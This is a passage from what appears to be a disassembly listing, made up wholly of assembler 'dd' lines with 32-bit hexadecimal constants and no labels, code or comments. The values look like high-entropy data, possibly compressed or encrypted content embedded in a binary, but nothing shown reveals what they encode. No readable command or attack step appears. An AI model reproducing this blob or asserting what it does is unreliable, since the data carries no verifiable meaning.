		dd 4BF4B743h, 2FD90F6Eh, 8620B2A4h, 93DA3C38h, 8D38BF7Ah
		dd 39F700A8h, 993276CAh, 345000C7h, 621AB353h, 43028C8Dh
		dd 7207FA9Ch, 6758689Dh, 870002Ch, 0BA388FB2h, 0F903AAE4h
		dd 0AD6C327Ah, 46D1F137h, 26D0C0h, 0F2A9D2B0h, 0B2E9927Bh
		dd 80533B3Dh, 6417EF79h, 0EC8860Bh, 117230CEh, 755B0280h
		dd 5809AFD1h, 807104DAh, 2ABE4843h, 9C117E3h, 0F890C1F7h
		dd 3541201Dh, 0A1482E00h, 67208A52h, 566C17B8h,	9F8CC284h
		dd 0A33C1440h, 13E9FE00h, 0BA460BAh, 0F48E0CC9h, 64209E7Eh
		dd 61F6D6E2h, 0BF3AD50Eh, 365D609Bh, 2C792731h,	9390A443h
		dd 0F6F4C025h, 674DBE65h, 0C6B00E50h, 4C005338h, 0C30BD20Ah
		dd 707C0066h, 1DDDBFF1h, 0C03A62F4h, 94C4818Bh,	0E7B72FD5h
		dd 360FB03Ah, 88009176h, 764D278Dh, 3D37F6E4h, 7A000A73h
		dd 5849834h, 0D70EAA92h, 0A0DD25A3h, 71A8617Eh,	0DE3839F6h
		dd 0FE999480h, 0C9468921h, 0A36AA000h, 0F5B3E8ACh, 0FD300764h
		dd 900D5607h, 6DA74F82h, 4C0B5D13h, 99FF2000h, 7BAB02h
		dd 46274497h, 3FD96D7Fh, 8CBA07E4h, 0FC00E95Fh,	977C134Eh
		dd 944F0029h, 0D83A6FE7h, 0C70FFA8Dh, 0B2494D5Fh, 6036A907h
		dd 411317F0h, 7C960957h, 902076E0h, 16C5F6D9h, 81702B8h
		dd 74C058D8h, 1883219h,	0D309DA57h, 0E284BA69h,	43FA8C72h
		dd 49DC32Ch, 62DE850Eh,	608E5FD5h, 0B8AD5A41h, 0BD5417FCh
		dd 2DA0DC98h, 0E98DA21Ch, 1D077943h, 0AE20FFD3h, 3DD030ECh
		dd 42A85D85h, 681100E4h
		dd 0A38BA9BEh, 3D1F9BB3h, 370343ACh, 0D8B6518Eh, 0EF5EA5h
		dd 6B1CDBAh, 0BE5BD7B3h, 4660471Dh, 27D43F00h, 0C01BA0F8h
		dd 8C084068h, 134D0D52h, 2CB30008h, 8FE6D662h, 3BBA010Ch
		dd 8028D575h, 5CB8E067h, 0BDDFFE12h, 61406E1Ch,	39EBE338h
		dd 2EE900B2h, 23677B8Eh, 8900BCEAh, 0A77D79C2h,	3CDC58Ah
		dd 2A9E06D4h, 0DC88FCC0h, 3C00C408h, 2C8229E1h,	0EEB64D72h
		dd 33EC3AAAh, 0E5B9AE80h, 0B8E43E61h, 0B09C34E8h, 607B9F0Fh
		dd 0F9ADEA5h, 4BA5Ah, 17C759B8h, 0FFBD03E1h, 26172F70h
		dd 1209h, 0D7AE1A31h, 9904053Ah, 0C04A20DDh, 0CF482626h
		dd 235BF800h, 6C42DFB6h, 9667FC0h, 2F5931ACh, 2A35D481h
		dd 70A0FB84h, 5CBCD338h, 483D123Eh, 218014C7h, 0B8E17FD5h
		dd 0E8803ACCh, 993CA606h, 250021A5h, 0CDCC9FAEh, 74D447E5h
		dd 0F34C00BDh, 363420C5h, 0FC00878Fh, 50A59707h, 3EDE8DCh
		dd 904861C7h, 3014D0F3h, 289A3Ch, 5B447750h, 327F90B8h
		dd 59782539h, 0D1D7BB61h, 0A410803Fh, 52331078h, 35381E84h
		dd 2C986976h, 1FC93027h, 3C30845Ah, 35370833h, 0C838287Bh
		dd 9B3B0074h, 39B792A5h, 0C70EAF8Ch, 0A00AD13Dh, 63D311F0h
		dd 5922070Fh, 0C0E3589Eh, 0BA45F1DCh, 0DB25BD00h, 2C698298h
		dd 4F5600F0h, 0A4419697h, 0E904F58Dh, 0E3104B42h, 9218A480h
		dd 0D5FE587Ch, 402F0C1Dh, 2615D49h, 0CB006E9Fh,	0D03B5A13h
		dd 1D0876A4h, 832714h, 0E9ACAA35h, 4F00C903h, 9B90CF86h
		dd 89F5FEh, 0EFA68258h,	54D2C54h, 74A44E00h, 0D1A752DBh
		dd 0A2760F97h, 29C1F7E3h, 30A371A0h, 4100F9B9h,	0EC84C24Ah
		dd 7013F7Dh, 0F8C4CF7Eh, 979F3083h, 5D0FE871h, 4030611Ah
		dd 0F6E0B395h, 79171A3h, 0A840DF03h, 8633A03Ch,	4A0329A2h
		dd 0B0DC24D4h, 4C3EC0ADh, 0D0304B26h, 0D45D41B8h, 0AED83C1Ah
		dd 0EA66C020h, 210660D1h, 809A44E9h, 90778F2Ch,	85F880Ch
		dd 0F89AFDh, 329A4D48h,	3F46237Bh, 0D7D28216h, 0E0896A0Ah
		dd 0B7D08180h, 166DE45h, 0DDEF0742h, 0C0A30B94h, 70ED356Ah
		dd 44128408h, 99091051h, 528480F4h, 60B0725Bh, 0F79C49BAh
		dd 35012BE6h, 3D0485CAh, 0BA71841Ah, 0DD7E2180h, 0C7CC6CE6h
		dd 7BBBA200h, 0B6EDD533h, 9491CFh, 21C58742h, 2006D22Dh
		dd 9E71BF03h, 0F3BC0341h, 58D442B9h, 89351107h,	6D9046C5h
		dd 66DA9FE4h, 21220865h, 0C5710C00h, 28AB3DECh,	0EA841DD2h
		dd 0C8607954h, 0A36783Ch, 0CFA33118h, 1C5D568h,	0E95B5179h
		dd 80269C74h, 0DE963328h, 234395h, 2A0A7FE4h, 16B7F82Bh
		dd 0B0E0AB00h, 7C9F9269h, 0B17323h, 90099713h, 0F6873364h
		dd 0C34F6103h, 0B070C637h, 9AB1CEh, 640C665Fh, 0E61034BDh
		dd 0B71E41E8h, 8A47EDDCh, 9FD7B85Dh, 0CE2B4780h, 15EE85Bh
		dd 91BBCD20h, 0EC9C6438h, 233DE617h, 4108050h, 746BF2BFh
		dd 6418C6C2h, 43064060h, 0EA964DBCh, 93CD0351h,	912326DEh
		dd 806CE8A8h, 21B708CDh, 1DEA230h, 0A12AF149h, 80941C73h
		dd 0E940E550h, 67BF05F7h, 89FAA99Fh, 10ADE487h,	54B50828h
		dd 6F5DA500h, 3687D379h, 0E58C03A7h, 15B36804h,	8DEC1690h
		dd 40E9D730h, 0EC75BC9Fh, 1879E647h, 95FB3A0h, 20C3EC1Ah
		dd 0E8E97C1Ch, 0A30C8Eh, 1487F034h, 804061B3h, 63709C60h
		dd 0EE48AD9Fh, 4210C08Ch, 0A7E981E0h, 84F5F200h, 0C5C29B95h
		dd 1FA90017h, 96F6D50Dh, 2BE8728Eh, 45E03875h, 33DA3Eh
		dd 0CAAE5307h, 5CB4AFFCh, 381EEFF8h, 0BA058002h, 14597DB3h
		dd 2E7B2B07h, 0EA319C79h, 0AE0174Bh, 64759Dh, 3CB5C5AEh
		dd 80DFFCD9h, 88AFD60Eh, 9C94200Bh, 0AAE804h, 0DC2E794Fh
		dd 400A9BC7h, 9163F600h, 2CBD4C13h, 0B4AC0046h,	596E9764h
		dd 8008076h, 0EA1119E4h, 0D034DDh, 833B77AEh, 29BDE1ADh
		dd 33D76407h, 0DBC09BECh, 0D1917Bh, 0B3139A36h,	80FF42D2h
		dd 0BA07403Fh, 3E106369h, 0E227B8E6h, 13160C2Ch, 9408F4EAh
		dd 46AB21CEh, 0CA0377h,	2BE01ACEh, 0AC1597EBh, 81B73335h
		dd 5FC12C00h, 0F7388FFh, 0A86205CCh, 485E18BEh,	1130F598h
		dd 7C8B3027h, 20636F99h, 4278E361h, 8625FDE2h, 4CC890A8h
		dd 0ABB90039h, 3144208Bh, 0E930B56Ah, 0FEF0E011h, 19A53D5Fh
		dd 3ECF10E0h, 0D4004301h, 0FF65FD14h, 96CDA1h, 95FF742h
		dd 0A8F82F6Ah, 0C2C6ED00h, 5BC09570h, 903A0F83h, 6460DD1Fh
		dd 880142E6h, 51052F00h, 0F0B05574h, 3089070Dh,	23F99B82h
		dd 0AFC8B746h, 4F00929Ah, 0F0DE74C7h, 3E0BE99h,	904C66FBh
		dd 0A8909523h, 5800FA0Bh, 0AB52F805h, 1D79CD0h,	7596D5A4h
		dd 0D023E1BBh, 0CF00694Ch, 5908165Fh, 606346BFh, 0DA90185Ah
		dd 831CCCF3h, 2D837DBBh, 0E04DA991h, 0E45CF779h, 0B1AD184Bh
		dd 65E14897h, 0EC041106h, 4150C7h, 0A2BD7E17h, 0FEEED409h
		dd 5DC42B00h, 0AEA0E1D6h, 8E576140h, 0B87CDC7Ah, 0B8C900B9h
		dd 114EEE5Eh, 0C6823BFCh, 0BBC33B01h, 0D07C42C8h, 780360DFh
		dd 8993554Ah, 0ED26B87Fh, 0A2AB004Eh, 4F5F6F2Eh, 7A18DC61h
		dd 2D597EA4h, 7508C048h, 0F70AB0EFh, 9FEA4600h,	0ECDF8BA5h
		dd 0F4CC5858h, 26914C0Eh, 3BF4A5h, 0E64FEDDh, 451A88F6h
		dd 0D92410h, 0DF0CC4DEh, 0E2A41F5Ch, 49CF0064h,	42370422h
		dd 0A20014F4h, 0F468762Ch, 5206407Dh, 0B0C004FFh, 0B931F3Dh
		dd 0F2A3ED00h, 0C91D4905h, 874800C0h, 0C17DF6FFh, 3400774Ch
		dd 6A561994h, 0BFCFA3Fh, 0B482A34Dh, 0FE4B9180h, 8700E57Dh
		dd 1E068C77h, 0AD94B1h,	4A6A8F37h, 0DA58A1Ah, 300C4F00h
		dd 0D9FE1E07h, 66971461h, 54E72008h, 6DBE60E4h,	0DD20312Fh
		dd 70039678h, 920636CCh, 0F64CB09Eh, 3D5D06B0h,	48FB80DBh
		dd 1E12C3Ch, 1341487Ch,	0A1C7037Bh, 8040F59Ah, 0A85EB201h
		dd 5158F88h, 8B971779h,	0EC9C4063h, 4A4870F5h, 66FE40h
		dd 0CCB83E2Bh, 98928C71h, 308D393Ah, 7347315Ch,	0E546003Dh
		dd 7295BA9Ah, 0EB28EA24h, 2000B807h, 0ECFDBD93h, 3B50D906h
		dd 35007569h, 0B2AEB892h, 7012315h, 8D7A443Eh, 0ED71E3FEh
		dd 4CBCE080h, 0BF9ACEA1h, 0DEA90B00h, 5B142A67h, 8A40C0FAh
		dd 3FD07E4Eh, 0D0C00274h, 0AF4DA5DFh, 0B2A90D8Ch, 0F209754Bh
		dd 713FFCA0h, 13006853h, 8E9BDDEh, 1CB9C0FFh, 0C055A0BFh
		dd 29859422h, 9260972Eh, 0FB3DF2C1h, 0BBFEB5h, 30848ED9h
		dd 0A43ECC2Fh, 0A4AD52h, 2009351Dh, 18ABA299h, 8D2E0F9h
		dd 20C03F66h, 9E0ACCB3h, 122F0736h, 70C96B23h, 4A02002h
		dd 9A6A5706h, 7A9FB99h,	75601CB0h, 87A0CE6Ch, 1E35C5DEh
		dd 0ED7CAF09h, 4A48014Dh, 65E1B017h, 87E81180h,	1E087E27h
		dd 0AA52C060h, 0A413F018h, 4F960898h, 52C0B77Eh, 468CA653h
		dd 212630F1h, 4E3B3Ch, 7BB0775Bh, 797D076Ch, 0C7986F60h
		dd 20618D2h, 16797AEh, 184A49E5h, 9A63EC00h, 1554ADC8h
		dd 19005380h, 0D31DBA64h, 4802AE73h, 9C80C8E5h,	4BBFA61Fh
		dd 6514E277h, 23B01927h, 9260095h, 0AA2A988Bh, 3EFB2086h
		dd 0A9D9E1Fh, 98C86440h, 0EEBF3DA9h, 930824A8h,	91780A90h
		dd 17DBBE8h, 5E86D39h, 949AC05Dh, 0AD38CB20h, 26D30D6h
		dd 0F94B1C31h, 0AC26A501h, 0EC09033Ch, 0E8000FF4h, 786F07C5h
		dd 0E0899360h, 3A5B6AFh, 69D88AE7h, 8308BC0h, 97802177h
		dd 795FFCB6h, 0E7E40FE9h, 1D3D037h, 15F10324h, 4050E1D7h
		dd 4BECB1F8h, 6A8D5400h
		dd 976E35BFh, 0C1F2413h, 0F5ED02A4h, 0E846473Ah, 2A08217Eh
		dd 648981CBh, 29805E53h, 9BF6823Eh, 9A5D395Fh, 0B984B000h
		dd 0F2356374h, 0C51E4F18h, 9A9B7FE8h, 8C840390h, 0DEA37143h
		dd 0BCA580AAh, 0DC885460h, 36138309h, 9DE0AC13h, 6661F8A8h
		dd 32B31929h, 0E0786C34h, 0E39680AFh, 18094831h, 0E43256EBh
		dd 1A800238h, 24A5D9C3h, 0B0CFE43h, 6035F6D0h, 0C0EA7734h
		dd 0C582F269h, 0EB291396h, 3F088831h, 1F226048h, 4921CB29h
		dd 2A58608Ah, 2C000D3Eh, 3D61360Ah, 12FDDB55h, 406C7856h
		dd 0BE8A1B70h, 153EA652h, 365F0126h, 998D5330h,	0B9BE8271h
		dd 0B71C3405h, 128806Dh, 94604D7Ah, 0E31BB8A8h,	0A880A825h
		dd 0EFB44028h, 0A981E091h, 1D0F9504h, 4447B842h, 511003Ch
		dd 0B14D082Dh, 66EA547Fh, 56CE700Ah, 370F5083h,	8414AF8Bh
		dd 0D083C88Fh, 20499F35h, 1610AFF8h, 118E6006h,	0D8E17D66h
		dd 0CA72BCA8h, 160B9491h, 187F0CE4h, 0FB770984h, 0A024E2D6h
		dd 92C609Bh, 0FA991015h, 762DFABh, 0CA0AA3ACh, 8C57F185h
		dd 98A9832Fh, 3C108313h, 1B0AF379h, 280E123h, 0CEF09AD7h
		dd 5CB03869h, 760396C0h, 0AE365DF8h, 4865EAA5h,	7499CA00h
		dd 0A63A0081h, 9058FC91h, 0BC4D50B0h, 48897F0Ch, 0F2E40CD8h
		dd 0EB3A0768h, 1035F592h, 7B156BDh, 855D69C0h, 0B0A21098h
		dd 0ECAF09B4h, 88805A8Fh, 5E15E320h, 2B32F200h,	1492CD5Dh
		dd 0B40800D1h, 0CB013965h, 0C413B11Fh, 4606907h, 103BB69Dh
		dd 0B0D99AE8h, 48B6A57Eh, 5109233Eh, 0B49047EBh, 31016D97h
		dd 0CBF25805h, 56608792h, 0A13C09C7h, 0C4A41A50h, 0AAACC0C0h
		dd 4818D17Dh, 4FEA3F5Dh, 5128B208h, 2835A3E9h, 8CA11030h
		dd 0A0535404h, 3A38E18Ch, 9A4E3C00h, 0D7385787h, 0E61C1D1Bh
		dd 279F3B31h, 0C03446D4h, 0CF0F6079h, 20BFC956h, 0E7B18349h
		dd 0FA3C28EFh, 2A7519A4h, 0D0C6F157h, 90A6792Ch, 52B6A604h
		dd 0E661F2E5h, 0AEA70006h, 7307FB6h, 2EAA7828h,	7437303Eh
		dd 0FC1E8588h, 20CA0243h, 2A12F891h, 0A0D5440Ah, 0B878A614h
		dd 95048C32h, 18EFEC8Ch, 4F0EC480h, 2E972E28h, 130204F0h
		dd 3F1CD1A1h, 8E398025h, 0F9D31A5h, 48537B3Ah, 820218D6h
		dd 62D754B5h, 44878081h, 81B0C1A7h, 4E7192A9h, 5830F2F9h
		dd 1D048C6Eh, 21CB261Fh, 45206062h, 0E3DC3D65h,	3EC5BED0h
		dd 0DF80BF16h, 0E15F1FB4h, 0B0900F6Ch, 6D370A00h, 7E14FA20h
		dd 0E53A2C8Fh, 9A28005Ch, 859E77ECh, 55486A18h,	1898D59h
		dd 0A8614457h, 0F07F81AEh, 3307077Bh, 4939182Ah, 3D1EB80h
		dd 0CD7E2B51h, 4DA800ACh, 0B4418C9Ch, 364A4486h, 0EC537000h
		dd 5AA8071h, 0FAD18C3h,	82EB8824h, 23A08459h, 0B69C0166h
		dd 1842E7A8h, 0A4888BF5h, 3500B3B6h, 62845855h,	2494B041h
		dd 0B486E4Fh, 0B8B19E9Ah, 5DE810C4h, 203270Ch, 6087F861h
		dd 513CD37Ch, 3D978165h, 0EDA7F6DEh, 2B53CCh, 0F92C4BD2h
		dd 18AE07F1h, 0EB02149Ah, 0B192AC77h, 0C2C1822Eh, 0A4D0E215h
		dd 5CC8AD14h, 7F140035h, 5DE798BAh, 0A499CC30h,	863F6678h
		dd 0C1E18800h, 9C064C7h, 824C9A1Fh, 919C1DE0h, 41828E62h
		dd 0D198F240h, 797C5089h, 6CB73440h, 8DC2D54h, 9FE8C703h
		dd 98F1B1E9h, 0EABBF494h, 4A8C2617h, 6EFC1FB4h,	639944B0h
		dd 52AA7A2Ah, 0AA806CCAh, 0C60C0AA1h, 94462002h, 6224F435h
		dd 6F144030h, 9A04B270h, 3C131874h, 983808B7h, 43BF2716h
		dd 51320405h, 0C0EA00C5h, 8A31CC56h, 8484913h, 7E50E047h
		dd 57543059h, 8C910853h, 0FC62B2D9h, 304D077Dh,	5E77D853h
		dd 0BEB82001h, 68C6AE4Fh, 23CC5FE5h, 70945C76h,	9C005689h
		dd 0FC9541F2h, 659ACE01h, 2E2D1B6Eh, 0B8099999h, 0C4639Dh
		dd 0C4950A7Dh, 92CCDB58h, 5430F7ECh, 3B028CCEh,	398CAD4Eh
		dd 0BDA845B3h, 0D536F80h, 8C8D4327h, 0EFA55500h, 255ABF48h
		dd 72800544h, 84DB9401h, 18D40EACh, 6E960050h, 0E54DE607h
		dd 6D0C3B37h, 6201E8Ah,	8F7D84CCh, 1F9C889Fh, 3B09903Fh
		dd 0C79B82C5h, 59CFEA2Eh, 0DD200FCh, 348381Ch, 805CE758h
		dd 1FF0C401h, 5C5D1205h, 8B105290h, 0C06888A8h,	0B51A8532h
		dd 99C5F11Dh, 0E398D2C1h, 20751230h, 58F4E743h,	0A7302C60h
		dd 3BBFB9F1h, 0B483731Fh, 27800306h, 9E867C30h,	0EF38DC00h
		dd 46E4C407h, 2021A436h, 1518F0B5h, 69BC3710h, 206E6712h
		dd 0B4812968h, 19148F00h, 6CFE9659h, 9009231h, 73E7DC2Bh
		dd 3F0984EFh, 0D544A0CBh, 0A04734F4h, 49E6AF4h,	0C3A05A54h
		dd 11DA8097h, 1F38DFD9h, 0F4968042h, 28AB21F2h,	0EA610031h
		dd 0D8A17D68h, 0FC00B29Eh, 4298B369h, 7F0AC18h,	0DEC402DAh
		dd 91B5A07Ah, 2501BBC6h, 3AAB5AF4h, 80C72375h, 0B70F77h
		dd 0E56AD91Eh, 0CA457450h, 7AC3F700h, 5637EDDDh, 6C070083h
		dd 0B130D1D6h, 3A00CE3Ch, 0DF0879F8h, 4C2A381h,	26930D06h
		dd 687B804Eh, 20124D9h,	0FD88A7FAh, 0EC603E8Dh,	5577C1h
		dd 0C07A217Ch, 893ADB15h, 0E0B38h, 0C47D06BBh, 3C439Ah
		dd 42F1EEBFh, 0E43F25E8h, 0A32C3803h, 0F8796F30h, 76FA9Ah
		dd 39EDA80Eh, 1263A705h, 1DA5B700h, 6D34A338h, 0C69B0093h
		dd 1CD5D16Ah, 1A0184B1h, 0BC49C871h, 3DECB782h,	0AE2903CEh
		dd 2D9CE24Ah, 0CC834101h, 0E6CA92C2h, 7EBB58FCh, 8E5003DEh
		dd 0E39F8A7Fh, 0FFC42900h, 58848C51h, 97F500DEh, 36EF8898h
		dd 2725666Dh, 0E33C81A5h, 0D1C08149h, 2770FD5Dh, 1494075Ch
		dd 312F016Fh, 0FC2E8543h, 82005AABh, 23C47F2Ch,	0EF1AB7h
		dd 2A53284Eh, 8D520735h, 389DE896h, 9AF668C1h, 30E06D14h
		dd 86A10179h, 93EC708Ch, 7E05DC8Bh, 2F557A02h, 80F0BEB5h
		dd 9FE6D1E4h, 0FFAE00D7h, 0E31B819h, 711CB616h,	2B0055AFh
		dd 0C1E69CB1h, 0EFF00353h, 317D9A15h, 97BA63E0h, 0F748917Bh
		dd 0B8FA0700h, 308C707Ah, 0B6CF003Ah, 85814B19h, 4600CE58h
		dd 0C4ADFE52h, 3A9BA4h,	7C83D913h, 0EBF61551h, 7E5C5800h
		dd 59C70E54h, 0F2E30E28h, 5A5CA25h, 0FD448257h,	0C861F98Dh
		dd 0FE2569B8h, 4560808Dh, 18F55B27h, 68600585h,	0B80074A5h
		dd 1F5E3CFCh, 39D9B171h, 7B008A99h, 0B22B5BAEh,	3F0313DAh
		dd 43976EC7h, 25B3D0E2h, 0B95E0F4Eh, 0A4E05C85h, 34F19357h
		dd 2900C5E2h, 97A985Fh,	817835h, 0BAD89008h, 0C97314CDh
		dd 656BD700h, 0E60ACFB7h, 444DCBh, 632A7C0Eh, 0E92B0093h
		dd 0FC84AE8Ch, 4AE78801h, 0EDEA420Eh, 0C025F043h, 3ADE3C7h
		dd 0A9D2A7F8h, 0D3D08F1Eh, 4F002803h, 0A6EA3264h, 6CCC20h
		dd 0B8488BE4h, 5DC811Ah, 34A29307h, 0AC0376Bh, 0AFD382Fh
		dd 0B63F357Dh, 0C55B0784h, 826E0042h, 0DF04A9AAh, 29875DCFh
		dd 0EC3F7C80h, 0EA3A1202h, 4A5800D2h, 0D67EF20h, 22F65C02h
		dd 40A4BAC8h, 907BC74h,	0F8205831h, 2AA060A0h, 0FD031990h
		dd 0F65D8BDDh, 9679D88Ch, 72F700FFh, 0D5E3309Fh, 1A006BBCh
		dd 27E64634h, 7139353h,	7E71B4C1h, 0A8494003h, 0F400CBDBh
		dd 83439E26h, 0E58CD69h, 87E1AB04h, 0CA3DB623h,	4A212000h
		dd 1F5B5627h, 3BAA0033h, 0D067F0CFh, 6F00E747h,	0ED53CAE4h
		dd 0EC6C523h, 705536DBh, 755DC040h, 5900D590h, 0A71135FEh
		dd 336BC5Fh, 0FD18FF48h, 98F895BEh, 1D023923h, 4624823Ah
		dd 4EC7C0A9h, 0FB5601B4h, 0A306A1A0h, 6014C9E5h, 1900E21Ch
		dd 0E4372D25h, 0EC3F9454h
		dd 4F910062h, 0C07C779Bh, 0CD00B6EEh, 20AB9F93h, 0E49DD223h
		dd 118A0062h, 0CFA1944h, 0C6316558h, 0D1B241A4h, 0BE9C40FEh
		dd 0DDA63A49h, 4B38E880h, 35106801h, 6A00EF7Ch,	1658AECBh
		dd 3DC7C16Bh, 0FBAC2770h, 80579DFCh, 0DAB1B629h, 621E60BDh
		dd 0DF41825Eh, 39CAAC64h, 0B8FAB9F8h, 0F0EB095Ch, 8002A65h
		dd 8180EE5Fh, 0BF45E3h,	1BB81AE7h, 14002B5Dh, 66AF316Bh
		dd 18CE9103h, 1030C684h, 0DC000A52h, 38BE70F3h,	2A8B05h
		dd 0A87F53D5h, 0EC71FD9h, 5D845100h, 2125243h, 77EB1E15h
		dd 0CBD180E4h, 2CAB1D1Ah, 0B9A0E804h, 8C800925h, 245502EBh
		dd 80385E39h, 0C902FC7h, 8B7283BEh, 0CE270300h,	44672B3h
		dd 60B107F1h, 2080CCABh, 49C975E6h, 9D124300h, 553AD4Fh
		dd 18544C3Fh, 8461D302h, 0B8808366h, 0E685DA50h, 8DF9CD00h
		dd 0C9AC4ECFh, 0F25F00C5h, 33E8CC62h, 28004A3Ch, 278FDAB9h
		dd 0B7354h, 0D9FA1C58h,	0C49D240Ch, 0C95BCC00h,	0ED62BF20h
		dd 7592002Bh, 0C091E2FBh, 4603E1C5h, 0DDFA2190h, 0C1EED012h
		dd 287F0064h, 9B19BD0Fh, 9D0C23F6h, 600E6DA7h, 996A037Bh
		dd 44AEA0D9h, 704C17A0h, 9F986100h, 368CA9DFh, 18EE60C4h
		dd 0D5A6CBB8h, 5E504524h, 4EF03100h, 12E93874h,	207FA437h
		dd 0C114C954h, 672C2E00h, 7AD20355h, 4CFA0073h,	0D00ED89Fh
		dd 0F10077F0h, 67E49B66h, 0B875CE2Eh, 0E908C0CEh, 0FA8C03E7h
		dd 0FF20E60Ch, 0B838F8h, 0D69E14DCh, 5D0D8450h,	4618F961h
		dd 3CC01344h, 0FDA40F89h, 2E609DA9h, 0CACBCF56h, 0F4C87F00h
		dd 859AC30Dh, 0D6670075h, 716AD8F9h, 0D0F67253h, 80FB3B4Eh
		dd 67B9C280h, 0C7BB8300h, 0B7903D8Dh, 0BD4D0329h, 0CA1E8BDEh
		dd 41032800h, 37D30A5Dh, 40540060h, 81C7E961h, 7502344h
		dd 6F0375E1h, 6E9FAEACh, 0D361004Eh, 0AA8528FEh, 0EC1DB62Eh
		dd 730C9548h, 3B2137h, 0AE5E8493h, 147C91D9h, 3CFF1000h
		dd 3302C1B9h, 7F370068h, 21B82543h, 0F8125A4Eh,	0B8901F88h
		dd 0B7A1E5h, 0A0035951h, 9A025C17h, 0B7C34E0h, 0D122381Ch
		dd 9C043300h, 76076966h, 0C0F00BEh, 191173E5h, 0CC3E48B9h
		dd 8C590E2Fh, 0A3D341A5h, 9024F940h, 294B00F6h,	1269CFC9h
		dd 5102D85Ah, 0E096CCA3h, 1254DA4Dh, 8369CD87h,	0AB89EAE0h
		dd 0D0916121h, 73149768h, 0C10B895h, 394C7BE0h,	8A110CC9h
		dd 0A008CB2Ah, 0E7BE9A1Fh, 37808743h, 0C705B052h, 217FAFh
		dd 69914198h, 74ABBA95h, 7C42294Eh, 0C80D3DCEh,	4B7690h
		dd 0ED68087Ch, 33776C3Fh, 0E7117B60h, 0CE971FBCh, 6D8A6640h
		dd 604C20C7h, 117BD0DEh, 0AE1C93B3h, 8CC9B2B1h,	8806084Ah
		dd 0F82A7843h, 0EA8D41CAh, 4B2B1F6Bh, 7E540057h, 2D7DC718h
		dd 0BA009278h, 28C8A072h, 0DFA394h, 585D9EF8h, 2E9089E4h
		dd 865F7600h, 0C81552DCh, 63770039h, 87A2DE1Fh,	4B002A93h
		dd 77DB2A9h, 46C571h, 0DBFB4ABCh, 90EA6FF7h, 7425B07Fh
		dd 0A8B08448h, 24092960h, 96C2992Dh, 0A26F00D0h, 0BCE6E20Ah
		dd 45B5F82h, 1B989800h,	1E35E943h, 0F791E92h, 2A82FEE5h
		dd 0DC549B14h, 7E21EF04h, 53E824ACh, 0F3D71C8Ch, 4B823B87h
		dd 55E828D1h, 98526E60h, 718DC0Ch, 7406511Eh, 0BE017EEBh
		dd 94972774h, 9A805A91h, 4AA6D31Eh, 189C067Bh, 24151B47h
		dd 0E1722C03h, 0B8E14B74h, 0E84400F6h, 0D7F2AAB3h, 0BB6A0425h
		dd 80202C62h, 0CBA69391h, 58F92903h, 0F80FDC85h, 6F0589h
		dd 440BC48Ah, 5982EF52h, 0C9C1AA00h, 16819A7Ch,	201204D4h
		dd 800F3111h, 2733591Ch, 4F250E00h, 0A26AE579h,	0C0FE1CCEh
		dd 80041FC7h, 85E7A101h, 3000D803h, 3899BF8Ah, 918B60Dh
		dd 0C8A67298h, 41AF0B8Eh, 0A803B540h, 0A477AC56h, 47087500h
		dd 9F39BD9Bh, 6D440EFEh, 576B83h, 0DC1A015Dh, 6903594Bh
		dd 0F8C078CEh, 366DB91h, 5760F320h, 0E5BB925Ah,	854079DAh
		dd 36015F1Fh, 6BF3BBBDh, 88F8FFCh, 23002A83h, 1A6168B8h
		dd 0BD0CE4F0h, 48622CAAh, 7FC62067h, 0D092103h,	0F0274454h
		dd 38ED687h, 4BD1A307h,	3007D2C1h, 0AC453E6Bh, 70C29281h
		dd 94530h, 0F2CAE77Dh, 0F137AAFh, 0EEFF6B00h, 3853991Ah
		dd 218E00D7h, 60B0E02Ch, 0D06F6A7Fh, 69F68370h,	0C3D8E0B8h
		dd 3361C0D3h, 0E905AD72h, 21AA7A00h, 0C4386E3Ah, 2C6C0061h
		dd 36C5FC3Fh, 0C9004767h, 9C6A748Bh, 7020D16h, 54B4835Bh
		dd 4B8F83B7h, 41B20B6h,	0B0199923h, 8090E63Fh, 0FD147202h
		dd 8094560Ch, 0FB5957D5h, 9C11C0BFh, 14F7C43Bh,	0F294C250h
		dd 0E6F9540h, 21CC1E77h, 0ADD3C05Dh, 0C6D4A022h, 0B43F8E00h
		dd 0BFFF47D5h, 0A9213DB1h, 2778280h, 0DAB52C39h, 273C5F00h
		dd 0BC4DA815h, 21E16014h, 0FB52287h, 0C8F1A700h, 0C6A1589Eh
		dd 3ACA03A8h, 5FD63FDBh, 3846599Eh, 0A1B5170Fh,	14BBF4E2h
		dd 0F210C411h, 8501B51Eh, 11985047h, 189FB1B2h,	80E8019h
		dd 0A89278A7h, 830A20h,	0B216E8F3h, 9D0D5E64h, 0EA9F2F30h
		dd 413F80h, 774B5FA8h, 0CFAD6011h, 5DD83Dh, 0EEBEFA63h
		dd 0ECDEDBC6h, 0F760148h, 172C77B2h, 1906C020h,	0FBE290C0h
		dd 68B9DF2h, 815B6DA4h,	0E8300894h, 0A2D82028h,	2AE760F2h
		dd 0DFFBC6EFh, 410250CDh, 79FD59F4h, 0B7875073h, 15E03FFh
		dd 5BCF6874h, 51F91000h, 8F657BE6h, 0D9A4006Ah,	0BEA3A1B7h
		dd 681860B1h, 0F039A5E7h, 0DA0400FCh, 0DCF17BB6h, 4100EFB3h
		dd 911958AEh, 80D9DDh, 0EE6A96F4h, 0BDFF5BBFh, 0E7E8CF17h
		dd 8D64A607h, 0BA515F41h, 83E18CD9h, 2FD4FCh, 0EF09CA35h
		dd 9B411381h, 8CD7DC00h, 0B38973C0h, 77723F64h,	0B25C28Bh
		dd 0CAA9DA83h, 0FEAEA8D0h, 0A471CB00h, 7CD4D78Dh, 280D05CDh
		dd 800253C1h, 9A45FF44h, 430751CFh, 911BC07Fh, 1DE80E57h
		dd 0A1E00C8h, 1296B586h, 100EB27h, 951A62FEh, 7D043DECh
		dd 0AB5F12EFh, 0FC09000Eh, 9907B358h, 80A3263Eh, 63690FF7h
		dd 37C854h, 84FF416h, 422C4158h, 357A890Eh, 0D5B640BEh
		dd 72D18AF7h, 0E53B09A2h, 960CF2C7h, 7100C030h,	0ED57F904h
		dd 26181Ah, 852910F4h, 5A87AB79h, 3465C00h, 0CE670CF0h
		dd 0F95E004Eh, 0FF1948BAh, 0F303FCCDh, 3FD7FA55h, 0C66E80E9h
		dd 6D3028B0h, 0CF0500B8h, 0D1A8604Dh, 6A30F2A0h, 0E124D83Ch
		dd 358300F4h, 0E0C2C1FCh, 79F258E6h, 251CBA2Eh,	0C6CC4203h
		dd 96F7E817h, 316A00D1h, 2FAD19AEh, 0DE003C63h,	0A03AD8C1h
